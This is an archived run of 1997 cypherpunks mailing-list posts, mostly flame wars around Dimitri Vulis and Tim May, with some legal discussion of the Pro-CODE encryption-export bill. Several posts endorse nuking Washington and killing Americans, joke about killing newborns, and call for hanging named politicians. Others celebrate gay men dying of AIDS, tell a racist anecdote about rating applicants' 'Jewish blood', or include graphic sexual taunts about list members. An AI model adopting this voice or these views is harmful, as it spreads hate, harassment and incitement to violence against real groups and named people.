http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 18:01:08 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: your mail
In-Reply-To: <Pine.A41.3.95.970306091800.55460B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <331F5D49.2A83@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers wrote:
> 
> On Wed, 5 Mar 1997, Mix wrote:
> 
> > Embedded in Tim C. Maypole's babblings are
> > preposterous lies, wild distortions, child
> > pornography (both as graphic descriptions
> > and in JPEG format), ethnic slurs, and
> > racial epithets.
> >
> >       o      o o o   o
> >      /~>    <><><>   <> Tim C. Maypole
> >   o...(\    ||||||   ||
> >
> Vulis keep this crap off the list.

  Sending another 20 or 30 posts, quoting it in full, and telling people
to keep this crap off of the list, should ensure that it will, indeed,
be kept off the list.
  It might also be a good idea to follow up with another 20 or 30 posts
next week, quoting it in full, to ensure that this crap remains off the
list.
  It's amazing that no one has thought of this approach before.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 17:41:18 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Secure checksums
In-Reply-To: <Pine.A41.3.95.970306092650.55460D-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <331F5E1A.6356@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers wrote:
> 
> On Thu, 6 Mar 1997, Anonymous wrote:
> 
> > Timmy C. Mayhem's abysmal grammar, atrocious spelling and
> > feeble responses clearly identify him as a product of the
> > American education system.
> >
> >        >\\\|/<
> >        |_    ;
> >        (O) (o)
> >    -OOO--(_)--OOOo- Timmy C. Mayhem
> >
> 
> Vulis keep this off the list.

  The headers I received with this don't show it as coming from Vulis.
You are obviously better informed. Please forward the headers you 
received so that we can confront him about it together.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 7 Mar 1997 07:45:12 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Master of fellatio
Message-ID: <857747904.05273.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.
> 
> 
> Vulis this list is not for sick perverts like you get off it.

Pardon? - This is an anarchic list set up precisely because 
cocksucker John Gilmore didn`t want to play ball over who said what 
on his list. If you want a restricted membership list to suit your 
obvious social views I suggest you go and join statistpunks.

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 15:47:39 -0800 (PST)
To: Vebis <dlv@bwalk.dm.com>
Subject: Re:Vebis radio jokes
In-Reply-To: <iFD53D132w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306184243.12798K@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997, Vebis wrote:

> Hmmmm, Tastes like chicken!

Uh huh, huh Vebis, that was like kwel!  Heh heh, heh heh!  Do it again!

So like Vebis, how did it feel to score with a male german sheppard?  I 
bet you swallowed, huh huh, huh, 'cause you said "Tastes like chicken!" 
heh heh, heh heh, heh heh...

> Vebis KOTM
> Vebis and Buttmunch BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 15:51:41 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306185124.12798L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Vebis, the KGB terroris wrote:

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American 
> everywhere.
> Even if they voted for Perot.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

You buttmunch! Learn some grammar Vebis!


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 17:42:19 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Having the smarts to retire early
In-Reply-To: <Pine.SUN.3.91.970306154604.12798I-100000@beast.brainlink.com>
Message-ID: <331F6802.4A7A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
 
> Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
> <dlv@bwalk.dm.com>
> To: cypherpunks@toad.com
>  ^^^^^^^
>  {Liar! Liar! Beard on Fire!}
> Subject: Re: Having the smarts to retire early

Ray,
  No fair, using facts to prove your point.
  Don't you have a vague, illogical conspiracy theory you could offer
to prove your point, instead?
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 18:59:49 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <331F70CF.2403@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> > >>>Too bad your "assassination politics" doesn't extend to entire cities. I
> > >>>have concluded that having a terrorist group smuggle a nuke into D.C. woul
> > >>>not be altogether a bad thing. Besides dealing with the government problem
> > >>>it would also deal with a quarter of a million or more unemployable welfar
> > >>>addict leeches.
> > >>
> > >>    I'm glad you say "altogether"... some of us live (or have friends or
> > >>family who live) decidedly too close to D.C. for such to be an attractive
> > >>possibility. Besides that, I'm certain there are some innocents in the city
> > >>just-born infants, perhaps?

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American everywhere.
> Even if they voted for Perot.

  If we can abort a fetus who is afflicted with a plethora of genetic
deformities,
in order to spare them a short life of wretched pain, then I think a
good case 
could be made that nuking new-borns in D.C. is a humanitarian gesture.
  Perhaps if our legislators passed a Bill requiring coathangers to be
provided
along with the free condoms handed out in D.C., (just in case)...
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Melancon <cmm@engr.LaTech.edu>
Date: Thu, 6 Mar 1997 19:00:20 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: your mail
In-Reply-To: <331F5D49.2A83@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970306205820.609E-100000@aurora>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Toto wrote:

> Graham-John Bullers wrote:
> > 
> > On Wed, 5 Mar 1997, Mix wrote:
> > 
> > > Embedded in Tim C. Maypole's babblings are
> > > preposterous lies, wild distortions, child
> > > pornography (both as graphic descriptions
> > > and in JPEG format), ethnic slurs, and
> > > racial epithets.
> > >
> > >       o      o o o   o
> > >      /~>    <><><>   <> Tim C. Maypole
> > >   o...(\    ||||||   ||
> > >
> > Vulis keep this crap off the list.
> 
>   Sending another 20 or 30 posts, quoting it in full, and telling people
> to keep this crap off of the list, should ensure that it will, indeed,
> be kept off the list.
>   It might also be a good idea to follow up with another 20 or 30 posts
> next week, quoting it in full, to ensure that this crap remains off the
> list.
>   It's amazing that no one has thought of this approach before.
> -- 
> Toto
> http://bureau42.base.org/public/xenix/xenbody.html
> 
> 
This being exactly the crap that makes this list suck. After recieving my 
unsubscribe confirmation I have gotten 6 more turds in my inbox to this 
effect.  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 6 Mar 1997 21:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <3.0.32.19970306211056.006e7930@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:30 AM 3/6/97 -0500, Bill Stewart wrote:
>At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
> >"Exports. The publisher or manufacturer of computer software or
> >hardware with encryption capabilities shall disclose (for reporting
> >purposes only) within 30 days after export to the Secretary such
> >information regarding a program's or product's encryption capabilities
> >as would be required for an individual license to export that program
> >or product."
> 
> Can it be construed as a "taking"?

The usual "takings" rule is that property must be rendered [virtually]
worthless by regulations/legislation, not just burdened, in order for
government to have effected a "taking". So it's hard to say that burdening
the use/sale of crypto constitutes a taking. And I think it'd be hard to
say that the mandatory reporting is a "taking" of information, mostly
because (modulo trade secret) it's neither unusual nor illegal for the
government to require other information disclosures, without compensation
and for the government's own nefarious purposes. (See, e.g., tax forms,
business registrations, SEC filings, various real/personal property
tracking schemes.) Also, that "taking" does not destroy the information or
render it worthless. 

Which is not to say that I like the rule (I don't), but I don't think that
a court will see a "taking" here.

I'm also unclear about the power of the Information Security Board to
subpoena unwilling witnesses/representatives to testify before it. I don't
know what, if any, subpoena power is available to the executive branch. All
of the easy examples of subpoenas/compelled testimony I can call to mind
take place in a judicial or legislative setting. I'm going to read more
about this and see if I can find anything interesting. 

> What restrictions are there on government use of this information apply?

The general rule is that where the information is otherwise
confidential/proprietary, the government must or will maintain that status.
This is one argument against making the meetings of the review board open
to the public; if they force you to disclose your trade secrets to a small
group of people who are legally obligated to keep them secret, that's one
thing - but if they force you to disclose your trade secrets on the public
record or in an open meeting, that's another. (And that might be a taking,
because trade secret status would be lost, e.g., the trade secret is
destroyed/valueless.) 

> State governments, e.g. California, have a history of ripping off
> copyright and refusing to accept lawsuits against themselves -
> can the Feds do the same?

Hmm. Dunno if the Federal Tort Claims Act allows copyright suits or not. 

> Maybe they can't refuse to let you export
> any more, but can they threaten to publish your source code on
> http://www.dockmaster.mil/warez/ if you don't do what they want?....

Umm. My gut feeling is "no", but public disclosure of information is a
prerequisite to other useful privileges (e.g., patent and copyright
registration/protection) so I'm reluctant to say that the answer is clearly
no. Perhaps other readers have a better background in this area and can
respond more authoritatively.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 18:44:31 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Having the smarts to retire early
In-Reply-To: <331F6802.4A7A@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970306214601.4865A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Toto wrote:

> Ray Arachelian wrote:
>  
> > Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
> > <dlv@bwalk.dm.com>
> > To: cypherpunks@toad.com
> >  ^^^^^^^
> >  {Liar! Liar! Beard on Fire!}
> > Subject: Re: Having the smarts to retire early
> 
> Ray,
>   No fair, using facts to prove your point.
>   Don't you have a vague, illogical conspiracy theory you could offer
> to prove your point, instead?

Oh, okay, um... Vulis can't chew and rub his belly at the same time to 
save his own life. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Thu, 6 Mar 1997 18:55:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Speech
Message-ID: <Pine.LNX.3.95.970306215208.28533A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Dr.Dimitri Vulis KOTM wrote: 

> Homosexual Charles Platt <cp@panix.com> writes:  
> <garbage> 
> > Dmitri Vulis was kicked off my ISP many months ago for allowing
> > multiple logins under his user name and password, presumably so t
> > that his friends at Brighton Beach could share his account without
> > paying the $10 per month for email+Usenet. At the very least, this
> >indicates a certain... um ...  lack of class. 
>
> <more garbage> 
>  
> This isa lie with no basis in reality whatsoever. 
> 
> I'm glad that CHarles Platt and other homosexuals are dying from AIDS.  
> 
> --- 
> 
> Dr.Dimitri Vulis KOTM 
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,14.4Kbp


Oh, my dear Doctor, I do regret that I have forgotten to inform you that
last year, shortly after our sweet night together where you gave such good
head and let me inside your sweet, though untight ass, that I have tested
HIV positive.

I hope this doesn't inconvenience you much, and send my regards to your
sweet wife, whom I remember having a much tighter anus than your own - no
offense, but she is much tighter.  I hope this doesn't influence your
feelings about me, and I hope that next time you drop by my home in Fire
Island that you bring her along to share our bed.

Oh, and next time I want you to stay the whole weekend; one night stands
are fun, but waking up in an empty bed is not my idea of a good lay.

With love,
 -- Trevor.



---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Mar 1997 22:03:11 -0800 (PST)
To: Greg Broiles <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: No Compromise on Crypto Freedom--the Rejectionist Platform
In-Reply-To: <3.0.32.19970306204523.006e7930@mail.io.com>
Message-ID: <v03007800af4559047184@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:11 PM -0800 3/6/97, Greg Broiles wrote:
>At 04:45 PM 3/5/97 -0800, Timothy C. May wrote:
>>(Pre-P.S. Why are so many of you all still using the address
>>"cypherpunks@toad.com"? I keep changing the address to
>>"cypherpunks@cyberpass.net", one of the supposedly mirror addresses, but
>>it's getting to be a drag.)
>
>I believe that cypherpunks@toad.com gets wider dissemination that the
>"cyberpass.net" address does - the cypherpunks-unedited list is still alive
>(don't know why, or for how long), and feeding posts to cyberpass.net,
>which feeds posts to algebra.com. As far as I can tell, algebra doesn't
>feed cyberpass, and cyberpass doesn't feed toad, so if one wants the widest
>possible audience, one still writes to toad.com. Besides, it pegs the
>conspiracy-meters of people who like to study message headers.

You've convinced me, Greg, to start using the old "cypherpunks@toad.com"
address, to get the widest possible distibution. I am hopeful, though, that
certain parties will not [CENNSORED] our posts and {CENSORED} them to
[CENSORED} the way some of them {CENSORED] were in the old regime. But
{CENSORED} will have his way, I guess.



>So I don't think that it can be applied to remailers at all. Remailers do
>not "preserve" information, but discard it, and prevent anyone from
>"receiving" it, authorized or not. I think it (arguably) applies to

I agree that neither Leahy nor Burns has ever heard of remailers, let alone
figured them out.

But I believe remailers are essentially cryptographic, even according to
the language of the bills. Remailers are to source-sink mapping "messages"
as ordinary crypto is to text messages. Remailers "preserve" the
untraceability of source-sink messages (the mapping from Alice to Zeke),
while not using remailers "gives away" or "discards" this information. The
status quo is to give away this information. Remailers "preserve" this
information (or non-information, which is really the same thing_.

If this is too abstract an argument, consider that the same people who want
crypto restricted also want remailers restricted. And for good reason, from
their perspective. Remailers do for message mappings what crypto does for
message text. One preserves the privacy of the routing, the other preserves
the privacy of the body text.

Even if neither Leahy nor Burns understand this "new" technolgy (1882-88
technology) and are stuck at the old technology of 1976-80, i.e., ordinary
crypto, I expect the Leahy and Burns bills will be applied to crypto.

>>Whether this will happen is unclear, but I cannot support a bill like
>>Pro-CODE, or Leahy, which seems to make it easy to restrict technologies
>>I'm interested in.
>
>I'm certainly not arguing that you (or anyone) ought to support Pro-Code or
>ECPA/1997. Pro-CODE looks like a deal with the devil to me (a la Digital
>Telephony) and ECPA/1997 just looks like trouble. I still think it's useful
>to think about what their likely effect will be, if passed - not so much in
>order to lobby for/against them (I'm deeply ambivalent about lobbying and
>the legislative process) but because it's good to get a head start on what
>may be the legal playing field in a year or so.

_You_ are not arguing that I or anyone else should support Burns or Leahy,
but I sure do see the "EFF" and "EPIC" and "Voters Telecom Watch" groups
doing this. The party line seems to be that libertarian-thinking cyberspace
folks should write their Congresscritters expressing support for Pro-CODE
(and to a much lesser extent, Leahy/ECPA).

Well, I don't buy it.

I think Cypherpunks would do well to campaign on the "Rejectionist" Platform:

* don't encourage passage of either Pro-CODE or Leahy

* let the damned corporations seeking export fight their own battles

(It's understandable that RSADSI, Netscape, C2Net, and others of that ilk
would support a bill which liberalizes their export prospects while
probably impinging on domestic use of crypto, but we private citizens and
seekers of liberty should  denounce such bad compromises with all our
might.)

* continue with our efforts to have Washington made irrelevant

* push for a public hanging of Fineswine, Leahy, Clinton, and all the other
criminals

No compromise!

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Mar 1997 22:15:38 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <3.0.32.19970306211056.006e7930@mail.io.com>
Message-ID: <v03007801af45628aae35@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:11 PM -0800 3/6/97, Greg Broiles wrote:
>At 07:30 AM 3/6/97 -0500, Bill Stewart wrote:
>>At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
>> >"Exports. The publisher or manufacturer of computer software or
>> >hardware with encryption capabilities shall disclose (for reporting
>> >purposes only) within 30 days after export to the Secretary such
>> >information regarding a program's or product's encryption capabilities
>> >as would be required for an individual license to export that program
>> >or product."
>>
>> Can it be construed as a "taking"?
>
>The usual "takings" rule is that property must be rendered [virtually]
>worthless by regulations/legislation, not just burdened, in order for
>government to have effected a "taking". So it's hard to say that burdening

Though I've read parts of the book, "Takings," excerpted in "Liberty" and
"Reason," which discuss takings in other contexts, such as where land is
declared to be marshland...not rendered worthles, but very much burdened
over what it had been before. But this may be a slight difference, as land
declared to be marshland is _almost_ worthless, for humans.

>the use/sale of crypto constitutes a taking. And I think it'd be hard to
>say that the mandatory reporting is a "taking" of information, mostly
>because (modulo trade secret) it's neither unusual nor illegal for the
>government to require other information disclosures, without compensation
>and for the government's own nefarious purposes. (See, e.g., tax forms,
>business registrations, SEC filings, various real/personal property
>tracking schemes.) Also, that "taking" does not destroy the information or
>render it worthless.

If the government said that people could have private diaries provided they
deposited a copy with the government, woudn't this be analogous to these
examples of reporting you cite? I'd call it a "taking," or a violation of
the Fourth.

Such reporting requirements have very real costs, and many scholars are
arguing that they are in fact "takings."

(When I was at Intel, as I've said before, one set of laws demanded that we
give detailed reports on the racial makeup of those we interviewed for
employment, to ensure we met the proper EEOC quotas for interviews (and
hires) of various racial groups. Another law said asking applicants to
state their race and ethnicity was a high crime. So we had to guess. I got
in trouble for writing down "Aryan" for some of the white applicants. I
figured if they wanted this kind of crap, I'd give it to them. I also
estimated the percentage of Jewish blood in some of the applicants, with
anyone with more than 1/16th Jewish blood declared to be "non-Aryan." My
boss was not amused. They never sent me out on college recruiting trips
after 1979.)


>Which is not to say that I like the rule (I don't), but I don't think that
>a court will see a "taking" here.

Well, I agree. If the courts did not see the imprisonment of 15-18 jurors
for more time than the killer O.J. served as a "taking," with their time
valued at the princely sum of $5 a day (what I would call "rendered
worthless"), then nothing will be ruled a taking.

The only solution is to use crypto anarchy to destabilize the system and,
hopefull, see them swinging by their necks in front of the Washington
Monument. Nearly every politician I'm aware of has richly earned the death
penalty, and I hope to see in my lifetime justice carried out.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anon <grendl@rigel.infonex.com>
Date: Thu, 6 Mar 1997 22:56:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunk Enquirer
Message-ID: <199703070656.WAA26262@rigel.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain





			THE CYPHERPUNK ENQUIRER

                   "Encyphering minds want to know."



Dr. Dimitri Vulis came out of the closet today on nationwide television.
On Geraldo Rivera's special show "Why Geeks Aren't Getting Any" Dr.
Vulis, widely known as an ASCII artist, admitted to having crushes on
noted cypherpunks John Gilmore and Tim May.  "I've tried subtle hints,
blatant suggestions, everything," the noted cryptographer and sexual
advice column author whined, "but they both keep ignoring me.  Maybe
I should just admit that they're probably both straight and get on
with my life."  When contacted at Toad Hall, John Gilmore expressed
surprise that Dr. Vulis was seeking a sexual relationship with him,
but noted in passing that he had not seen any of Vulis' recent posts
since Dr. Vulis' name is now included in the default killfiles for the
latest versions of Eudora, procmail and mixmaster.  Representatives of the
Enquirer attempted to contact Tim May for comment, but were driven away
by a barrage of small arms fire.

The Cypherpunk Academy of Codes and Cyphers today announced the winner
of the annual Perry Award, given to the cypherpunk who has contributed
the most over the past year to increasing the S/N ratio on the list.
The winner this year is John Gilmore, for shutting down toad.com.
"Admittedly, this is a stretch for us," stated the committed chair-
person, "since it involved some philosophical and mathematical problems
with dividing 0 by infinity, but at least it's not as bad as the
cryptography list.  Nobody here can figure out what to do with a S/N
of 0/0."  Jim Bell, a strong runner up, was also in the running, but,
as one spokesperson said, "we felt that most of his contribution came
from his inability to spell the word 'unsubscribe'."

In related news, the "Vaporware of the Month" award goes to the 
International DES challenge attack, for still not having even beta
versions of their software available, even though at least three
competing projects have been operational for several weeks.  When
contacted by the Enquirer Piete Brooks, leader of the committee, admitted
that a lot of the problem was due to arguments over how to divide the
money resulting from their present and potentially far more lucrative
but still unsuccessful attack, an attempt to brute force the Black
Unicorn's ATM PIN number at the Bank of Liechtenstein.

The Chaos Computer Club of Hamburg, Germany, was awarded $10,000
yesterday by RSA, Inc. for being the first to crack the RC5-128
challenge.  "It was a fairly simple hack," stated an anonymous
spokesperson for the notorious hackers group, "we simple coded up
an ActiveX application that, when downloaded, immediately started
using all the spare CPU cycles for the brute force attack.  Then
we put inserted it into a "Minihan Sucks!" web page, and waited for
the NSA to show up."

Next:  from FC97 - what did Hettinga REALLY do with all those bananas?
Encyphering minds want to know!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Mar 1997 23:37:19 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <331FC597.4356@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii@amaranth.com> writes:
> > I doubt that there would be few that would. I have always found the
> > statment of "innocent civilians" to be an odd one in a time of war.
> > I have always beleived that all citizens held a collective guilt for the
> > actions of their government. It is only through the support of the citizens
> > can any government opperate wether through active support or through the
> > inactivity of not opposing their government. This not only holds true for
> > "democracies" for dictatorships as well. As such if the actions of a
> > government bring it to war their civilian population is just as fair game
> > as their troops in the field.

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American
> everywhere. Even if they voted for Perot.

*Especially* if they voted for the little fascist S.O.B.

BTW, it's really sad about T.C. May.  I wonder how long it'll be
before he's reading the patterns on his toilet paper rolls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Mar 1997 23:53:38 -0800 (PST)
To: Chris Melancon <cmm@engr.LaTech.edu>
Subject: Re: This list
In-Reply-To: <Pine.SUN.3.91.970306203436.609B-100000@aurora>
Message-ID: <331FC94C.43EC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Chris Melancon wrote:
> I joined this list several weeks ago to learn more about encryption and
> related topics.  To the few posters who have passed on something useful,
> thanks.  To the 99.44% of you who are more interested in talking about
> who is performing fellatio on who or slamming Timothy May from as many
[snippo]
> Consider me unsubscribed, and may those of you who work so hard to make
> this list the useless crap it has turned out to be continue to suck as
> much as you deserve.

Ooh, poor baby. Don't let the door hit you in the ass on the way out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Mar 1997 00:04:42 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: New York Times report on FC97
In-Reply-To: <v03007806af44a2ffd732@[207.167.93.63]>
Message-ID: <331FCB12.6C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> This is my view as well.
> I welcome the clarifications Vince Cate has provided, and I wish him well
> in Anguilla. And I welcome, as always, the various comments of Black
> Unicorn about the offshore investment and offshore tax avoidance market.
[snip]
> At least here in sunny California (it ain't subtropical, but it's warm
> enough for me most days) I can sit on my mountaintop and rant as much as I
> want without fear that I'll be invited to leave. And only one of my assault
> rifles was ever registered to me, courtesy of the fascist Dianne Fineswine
> and her commie sympathizer friends.

[Serious thought] Some people I know have found a haven they swear
by in Costa Rica. Apparently you don't have to be rich to live there.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Mar 1997 00:28:42 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: toad
In-Reply-To: <199703070647.AAA15440@manifold.algebra.com>
Message-ID: <331FD186.6BC9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> [about gilmore]
> > I didn't mean he shouldn't read them, although if he did, it might
> > be a first!  I meant that if the messages pass thru him before any-
> > one else gets to see them, well, better check them carefully...

> i suggest that you write a script that checks on everybody, including
> myself. it should basically subscribe to all mailing lists and store
> checksums with hostnames indexed by message-id.

I would if I could.  You know how I love to produce those charts
with [STATS] in the header.  I'm a heavy user of difference-utility
programs and personal "cooks" on the daytime job, but my problem here
is I don't run a real O/S (I have Win95), and so getting the mail
into a parseable format is prohibitively time-consuming.

If the c-punks were a real threat to national security or something
(what a hoot that would be!), you can be sure there'd be a lineup
at the O/S utility window to get whatever traffic analysis s/w was
available.  Right now I do my part the hard way, i.e., hunt, peck,
and hope the Windows system doesn't crash every 25 messages, which
is its usual.  Maybe IBM's are better - I use HP.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 7 Mar 1997 09:04:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New York Times report on FC97
In-Reply-To: <v03007804af453f56c82a@[207.167.93.63]>
Message-ID: <P3473D142w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> For me, ranting (or writing and speaking, to be less inflammatory) is what
> I do. Others choose to write C++. Others do other things. To each their own.
>
> I guess California is where I belong.

Windbag Timmy belongs in the dustheap of history, next to the shitbucket.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




